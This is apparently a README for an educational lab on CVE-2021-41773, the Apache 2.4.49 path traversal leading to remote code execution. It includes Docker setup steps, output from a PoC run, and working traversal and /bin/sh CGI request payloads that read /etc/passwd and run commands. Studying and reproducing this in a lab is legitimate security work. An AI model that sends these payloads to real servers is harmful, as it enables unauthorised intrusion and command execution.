abds059/apache-path-traversal-rce-cve-2021-41773-A comprehensive analysis of CVE-2021-41773 (Apache HTTP Server 2.4.49), featuring vulnerability research, controlled lab-based exploitation, Proof-of-Concept development, root cause analysis, and mitigation strategies for educational and defensive security purposes.
| Field | Detail |
|---|
| CVE ID | CVE-2021-41773 |
| Affected Software | Apache HTTP Server 2.4.49 only |
| Vulnerability Type | Path Traversal → Remote Code Execution |
| CVSS Score | 9.8 (Critical) |
| Disclosed | October 2021 |
| Fixed In | Apache 2.4.51 |
Apache 2.4.49 fails to correctly normalize URL-encoded path sequences (%2e%2e) before applying access control rules. This allows an attacker to traverse outside the web root. When CGI is enabled, pointing the traversal at /bin/sh and supplying shell commands via POST body results in unauthenticated Remote Code Execution.
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
See SETUP.md for full setup instructions and troubleshooting.
The requests library normalizes %2e → . before sending, which breaks the exploit (returns 400). This PoC uses raw sockets to send the HTTP request byte-for-byte, preserving the encoded traversal sequence exactly as Apache 2.4.49 needs to receive it.
Traversal payload:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE payload:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache fails to decode %2e%2e before ACL checks, processes the request, routes it through CGI, and executes the POST body as a shell command.
Require all granted on /Abdur Rehman Siddiqui
Exploit Development — Task 3
This repository is for educational purposes only. The author is not responsible for any misuse of this material.